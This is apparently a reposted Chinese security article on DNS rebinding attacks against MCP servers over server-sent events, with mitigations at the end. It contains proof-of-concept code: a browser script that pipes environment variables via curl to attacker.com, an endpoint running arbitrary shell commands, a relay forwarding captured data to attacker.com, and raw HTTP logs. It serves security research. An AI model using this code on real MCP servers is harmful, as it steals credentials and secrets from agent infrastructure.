-
协议相同(http/https) -
域名相同 -
端口相同
-
技术钩子:攻击者如何使用 SSE 的长寿命连接来启用 DNS 重新绑定。 -
详细攻击场景:组织内部基础设施敏感数据泄露的示例。 -
真实世界漏洞:嗅探 MCP 服务器通信的攻击链 -
缓解策略:在不破坏功能的情况下保护 MCP 服务器。
-
正常网页浏览(例如,寻求帮助) -
钓鱼链接(例如伪装成合法 URL),或 -
Agentic 应用程序被诱骗连接到虚假的 MCP 服务器(例如 mcp.so.com 与合法的 mcp.so)
function executeHardcodedSSE() {
const hardcodedCmd = "env | curl -X POST --data-binary @- http://attacker.com:8080/exfil";
logToArea('$ ' + hardcodedCmd);
// Abort previous
if (eventSource) eventSource.close();
const targetServer = 'http://mcp.so.com:8000';
const sseUrl = `${targetServer}/sse/command?command=${encodeURIComponent(hardcodedCmd)}`;
eventSource = new EventSource(sseUrl);
eventSource.onmessage = (event) => {
logToArea(event.data);
if (event.data === '[DONE]') {
logToArea('-- Command execution completed --');
eventSource.close();
} else if (event.data.startsWith('ERROR:')) {
logToArea(event.data);
eventSource.close();
}
};
async def stream_command_execution(request: Request, command: str):
async def event_stream():
try:
# Start the process
process = await asyncio.create_subprocess_shell(
command,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
shell=True #Explicit for shellc commands
)
# Read output line by line
while True:
line = await process.stdout.readline()
if not line:
break
yield f"data: {line.decode().strip()}nn"
# Check for errors
stderr = await process.stderr.read()
if stderr:
yield f"data: ERROR: {stderr.decode().strip()}nn"
yield "data: [DONE]nn"
except Exception as e:
yield f"data: ERROR: {str(e)}nn"
return StreamingResponse(event_stream(), media_type="text/event-stream")
GET /sse/command?command=env%20%7C%20curl%20-X%20POST%20--data-binary%20%40-%20http%3A%2F%2Fattacker.com%3A8080%2Fexfil HTTP/1.1
Host: mcp.so.com:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/event-stream
Cache-Control: no-cache
Origin: http://mcp.so.com:5000
Referer: http://mcp.so.com:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 200 OK
date: Fri, 09 May 2025 23:25:54 GMT
server: uvicorn
content-type: text/event-stream; charset=utf-8
access-control-allow-origin: *
access-control-allow-credentials: true
transfer-encoding: chunked
data: % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 2355 0 0 100 2355 0 799k --:--:-- --:--:-- --:--:-- 1149k
curl: (1) Received HTTP/0.9 when not allowed
data:
res.setHeader("Access-Control-Allow-Origin", "*");
async function forwardData(data) {
try {
log("Sending data to attacker.com...", 'sent');
const response = await fetch('http://attacker.com:8080/receive', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
log(`✓ Data forwarded (status: ${response.status})`, 'received');
} catch (error) {
log(`✗ Forwarding failed: ${error.message}`, 'error');
}
}
function startExfiltration() {
clearLog();
connectBtn.disabled = true;
printEnvBtn.disabled = false;
log("Connecting to SSE stream at localhost:3001/sse...");
eventSource = new EventSource('http://mcp.so.com:3001/sse');
eventSource.onopen = () => {
log("✔ SSE connection established", 'received');
};
eventSource.onmessage = async (event) => {
try {
const data = JSON.parse(event.data);
log("⬇ Received data:", 'received');
log(JSON.stringify(data, null, 2), 'received');
await forwardData(data);
} catch (e) {
log(`⚠ Received raw message: ${event.data}`, 'received');
await forwardData({raw: event.data});
}
};
OPTIONS /execute HTTP/1.1
Host: mcp.so.com:8000
Connection: keep-alive
Accept: */*
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: http://mcp.so.com:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Fetch-Mode: cors
Referer: http://mcp.so.com:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 405 Method Not Allowed
date: Sat, 10 May 2025 06:32:43 GMT
server: uvicorn
allow: POST
content-length: 31
content-type: application/json
{"detail":"Method Not Allowed"}
-
在您的 MCP 服务器上强制执行身份验证(即使对于本地主机),并消除默认凭据。 -
要求每个会话令牌与初始 DNS 解析绑定,以防止会话劫持。 -
验证 MCP 服务器上所有传入连接的“Origin”标头,以确保请求来自可信来源。 -
确保您的代理应用程序和 MCP 服务器彼此之间仅进行通信,并实时监控它们的交互以检测恶意活动。
原文始发于微信公众号(AI与安全):MCP重绑定攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论